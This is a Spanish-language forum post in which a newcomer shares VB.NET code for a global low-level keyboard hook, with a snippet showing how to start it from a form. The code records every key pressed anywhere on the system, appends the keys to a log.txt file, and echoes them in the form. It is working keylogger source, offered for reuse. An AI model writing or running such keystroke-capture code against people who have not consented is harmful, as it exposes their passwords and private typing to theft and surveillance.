Solo por si alguien quiere ver esto, sito a este codigo
https://social.msdn.microsoft.com/Forums/es-ES/e634ed1e-553e-4f31-981f-47a27a27b9ec/posicion-coordenadas-de-un-proceso?forum=vbesMe funciono muy bien
![;D](https://foro.elhacker.net/Smileys/chef/grin.gif)
Lo puse como modulo para no complicarme mucho:
Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Threading
Imports System.Windows.Forms
Module Capturar_Teclado
Public Class KeyHot
Public Shared KeyDetec As Char = ""
Enum Constantes As Integer
WH_KEYBOARD_LL = 13
HC_ACTION = 0
WM_KEYDOWN = &H100
WM_KEYUP = &H101
WM_SYSKEYDOWN = &H104
WM_SYSKEYUP = &H105
End Enum '-> Constantes utilizadas en el Hook Global
<StructLayout(LayoutKind.Sequential)>
Public Class KBDLLHOOKSTRUCT
Public vkCode As UInt32
Public scanCode As UInt32
Public flags As UInt32
Public time As UInt32
Public dwExtraInfo As UIntPtr
End Class '-> Estructura que contiene los mensajes interceptados por el Hook
#Region "Declaraciones_API"
<DllImport("user32.dll")>
Friend Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As HookProc, ByVal hInstance As IntPtr, ByVal threadId As Integer) As Integer
End Function
<DllImport("user32.dll")>
Friend Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
End Function
<DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Public Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
End Function
<DllImport("user32.dll", SetLastError:=True)>
Public Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
#End Region '-> Declaraciones de APIs para el uso de Hooks (SetWindowsHookEx...)
Enum HookType As Integer
WH_JOURNALRECORD = 0
WH_JOURNALPLAYBACK = 1
WH_KEYBOARD = 2
WH_GETMESSAGE = 3
WH_CALLWNDPROC = 4
WH_CBT = 5
WH_SYSMSGFILTER = 6
WH_MOUSE = 7
WH_HARDWARE = 8
WH_DEBUG = 9
WH_SHELL = 10
WH_FOREGROUNDIDLE = 11
WH_CALLWNDPROCRET = 12
WH_KEYBOARD_LL = 13
WH_MOUSE_LL = 14
End Enum '-> Tipos de Hooks para monitorizar mensajes
'Declaramos un delegado y le asignamos sus respectivos argumentos
Delegate Function HookProc(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Shared CallbackDelegate As HookProc = Nothing
'Declaramos la variable Hook. Será la encargada de almacenar la direccion de memoria del Hook
Shared hook As IntPtr = IntPtr.Zero
'Procedimiento asociado al puntero AddressOf(CallBackDelegate)
Private Shared Function HookprocHandler(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Try
'Code es la variable encargada de decir si existe un mensaje. Si code !=0 no habra nada.
If (code < 0) Then
'Damos paso al siguiente Hook y procedemos con el continuamiento del Sistema
Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
Else
Dim sr As New StreamWriter(CurDir() & "\log.txt", True)
'Segun el código devuelto a la pulsación de la tecla (257,258)
KeyDetec = ""
Select Case wParam
Case Constantes.WM_KEYDOWN, Constantes.WM_SYSKEYDOWN
Dim key As Char = ChrW(lParam.vkCode) 'Imprimimos el caracter ASCII en pantalla
sr.Write(key)
KeyDetec = key
End Select
sr.Close()
Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
End If
Catch ex As Exception
End Try
Return 1
End Function
Public Shared Sub Iniciar_Hook()
Try
'Asociamos a dicho procedimiento un puntero hacia el controlador del Hook (HookProcHandler)
CallbackDelegate = New HookProc(AddressOf HookprocHandler)
If hook <> 0 Then
'Desinstalamos el Hook
UnhookWindowsHookEx(hook)
hook = IntPtr.Zero
'Label1.Text = "Hookear Teclado"
Else
'Instalamos un Hook Global (LowLevelKeyBoard) y llamamos a la funcion HookProcHandler
'Los ultimos dos parametros indican el HINSTANCE y PID, se utilizarian en caso de Hook local _
'empleados en juegos y demás.
hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, CallbackDelegate, 0, 0)
'Label1.Text = "Desinstalar Hook"
FileSystem.Kill(CurDir() & "\log.txt")
End If
Catch ex As Exception
End Try
End Sub
End Class
End Module
asi es como yo cite el modulo:
Private Sub Form1_Closed(sender As Object, e As EventArgs) Handles Me.Closed
KeyHot.Iniciar_Hook()
End
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
KeyHot.Iniciar_Hook()
Timer1.Start()
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Dim kea As String = KeyHot.KeyDetec 'Obtiene tecla precionada
If Not kea = "" Then
Label1.Text = kea
TextBox1.Text &= kea
Else
Label1.Text = ""
End If
End Sub
Estoy seguro que mas de uno podra mejorar este codigo,
![;D](https://foro.elhacker.net/Smileys/chef/grin.gif)
Por cierto, soy nuevo y todavia no se aprovechar los elementos de esta web asi que pegue el codigo a lo seco, Dispudas.